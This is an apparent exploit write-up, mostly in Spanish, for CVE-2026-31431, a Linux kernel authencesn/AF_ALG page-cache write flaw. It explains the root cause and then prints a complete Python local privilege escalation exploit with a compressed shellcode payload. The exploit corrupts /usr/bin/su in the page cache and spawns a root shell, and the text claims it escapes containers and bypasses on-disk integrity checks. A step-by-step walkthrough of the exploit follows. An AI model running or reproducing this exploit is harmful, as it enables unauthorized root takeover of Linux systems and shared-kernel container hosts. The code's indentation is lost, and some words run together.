
Local privilege escalation exploit for CVE-2026-31431, corrupting setuid binaries in page cache via AF_ALG and splice to gain root shell.
Un error lógico en la plantilla AEAD
authencesndel kernel de Linux permite a un usuario sin privilegios escribir 4 bytes controlados en la caché de páginas de cualquier archivo legible.
El script de Python proporcionado corrompe
/usr/bin/suen memoria y genera una shell de root.
CVE-2026-31431 es una vulnerabilidad en el subsistema criptográfico del kernel de Linux, específicamente en la plantilla authencesn (AEAD con número de secuencia extendido) combinada con la interfaz de socket AF_ALG y la llamada al sistema splice().
Causa raíz: La rutina de descifrado authencesn utiliza la lista de dispersión de destino como espacio temporal, escribiendo 4 bytes más allá del área de salida legítima.
Cuando AF_ALG realiza una operación AEAD in situ y splice() proporciona páginas de caché de páginas (p. ej., de un binario setuid) como etiqueta de autenticación, la escritura fuera de límites aterriza directamente en la copia en caché del kernel de ese archivo.
Efecto: Un atacante local sin privilegios puede sobrescribir cualquier ubicación alineada a 4 bytes en cualquier archivo que pueda leer. La corrupción solo ocurre en la caché de páginas; el archivo en disco permanece sin cambios, eludiendo las comprobaciones de integridad de archivos.
Impacto: Al sobrescribir un binario setuid (p. ej., /usr/bin/su) con shellcode, un atacante puede ejecutar el binario y obtener una shell de root. La misma primitiva funciona en distintos contenedores porque la caché de páginas se comparte con el host.
exploi-copyfail.py)El exploit es un único script de Python de 732 bytes que utiliza únicamente la biblioteca estándar (os, socket, zlib). Funciona en cualquier distribución de Linux con versiones del kernel desde 2017 hasta 2026 (antes del parche).
#!/usr/bin/env python3
import os as g, zlib, socket as s
def d(x): return bytes.fromhex(x)
def c(f, t, c):
a = s.socket(38, 5, 0)
a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
h = 279
v = a.setsockopt
v(h, 1, d('0800010000000010' + '0' * 64))
v(h, 5, None, 4)
u, _ = a.accept()
o = t + 4
i = d('00')
u.sendmsg([b"A" * 4 + c], [(h, 3, i * 4), (h, 2, b'\x10' + i * 19), (h, 4, b'\x08' + i * 3)], 32768)
r, w = g.pipe()
n = g.splice
n(f, w, o, offset_src=0)
n(r, u.fileno(), o)
try: u.recv(8 + t)
except: 0
f = g.open("/usr/bin/su", 0)
i = 0
e = zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i < len(e):
c(f, i, e[i:i + 4])
i += 4
g.system("su")
Configuración: Se Abre un socket AF_ALG vinculado a authencesn(hmac(sha256),cbc(aes)), se establezce una clave ficticia y se acepta una solicitud.
Carga útil: El shellcode (descomprimido del blob hexadecimal) se divide en fragmentos de 4 bytes.
Bucle de corrupción: Para cada fragmento:
sendmsg() proporciona los Datos Autenticados Asociados (AAD). Los bytes 4 a 7 de los AAD contienen los 4 bytes que se deben escribir.
splice() inserta una porción de /usr/bin/su (el binario setuid objetivo) en la lista de dispersión TX del socket. El desplazamiento y la longitud se eligen de forma que la región de la etiqueta de autenticación se ubique en la dirección objetivo dentro de la sección .text del binario.
recv() activa el descifrado de los AEAD, authencesn escribe el fragmento de 4 bytes en la caché de páginas de /usr/bin/su. El HMAC falla, pero la escritura persiste.
Ejecución: Una vez escritos todos los fragmentos, el script ejecuta su. Dado que la versión almacenada en caché ahora contiene shellcode, su se ejecuta con privilegios de root y abre una shell.